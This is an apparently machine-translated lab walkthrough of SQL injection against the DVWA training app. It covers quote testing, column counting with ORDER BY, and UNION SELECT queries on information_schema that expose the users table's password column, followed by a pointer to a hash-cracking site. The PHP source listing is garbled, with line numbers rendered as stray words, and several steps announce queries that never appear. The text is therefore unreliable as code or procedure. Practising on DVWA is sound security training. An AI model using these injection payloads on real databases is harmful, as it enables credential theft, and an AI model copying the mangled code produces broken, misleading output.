SQL injection of DVWA Walkthrough platform (new Knowledge)

1. Turn on the platform and open the page (low).

2. Test the ID parameter.

Add single quotation marks to try:

You have a error in your SQL syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use-near ' 1 ' on line 1

The preceding single quotation marks are closed, so the subsequent one needs to be commented out. SQL statement Comment: ① "#" ② "--"
3. Analyze the source code.

1<?PHP2 3 if(isset($_get[' Submit '])){4     5     //Retrieve Data6     7     $id=$_get[' ID '];8 9     $getid= "Select First_Name, last_name from users WHERE user_id = '$id‘";Ten     $result=mysql_query($getid) or die(' <pre> '.Mysql_error() . ' </pre> ' ); One  A     $num=mysql_numrows($result); -  -     $i= 0; the  -      while($i<$num) { -  -         $first=Mysql_result($result,$i, "First_Name"); +         $last=Mysql_result($result,$i, "Last_Name"); -          +         $html. = ' <pre> '; A         $html. = ' ID: '.$id. ' <br> name: '.$first. ' <br> surname: '.$last; at         $html. = ' </pre> '; -  -         $i++; -     } - } -?>

Locate the SQL statement in which the database executes:

SELECT first_name, last_name from users WHERE user_id = ' $id '

4. Number of field queries.
The order BY statement is used to sort the result set based on the specified column.
To operate in the database:

The number after order by is the number of columns in this table that we guessed, indicating that the number of columns in this table is 2.

5. Get the display bit

As with the database:

6. Query Key Information

This is to let the built-in query function replace the current display bit.

Version () User () database () @ @version_compile_os

7. Get other contents of the current table (password)

Actually in our database also has a INFORMATION_SCHEMA database, this time must use it!

The INFORMATION_SCHEMA database is a MySQL-band that provides a way to access database metadata. What is meta data? Metadata is data about the data, such as the database name or table name, the data type of the column, or access permissions.

Schemata Table: Provides information for all databases in the current MySQL instance. This table is the result of show databases.

Tables Table: Provides information about the tables in the database, including views. Describes in detail which schema, table type, table engine, creation time, and so on, a table belongs to. This table is the result of show tables from SchemaName.

Columns table: Provides the column information in the table. Describes in detail all the columns of a table and the information for each column. This table is the result of show columns from Schemaname.tablename.

SQL statement lookup table name,

SELECT first_name, last_name from users WHERE user_id =1
Union select table_name,2 from Information_schema.tables where table_schema= ' Dvwa ';

So in the page:

Choose the Users table now! Two battalion commander, Cannon Fire.

Select First_Name, last_name from the users where user_id =1 union select column_name,2 from Information_schema.columns where Table_name= ' users ';

Hee Hee Now it's time to user,password these two columns.

9. Decryption

http://www.cmd5.com/

Completed!!!

SQL injection of DVWA Walkthrough platform (new Knowledge)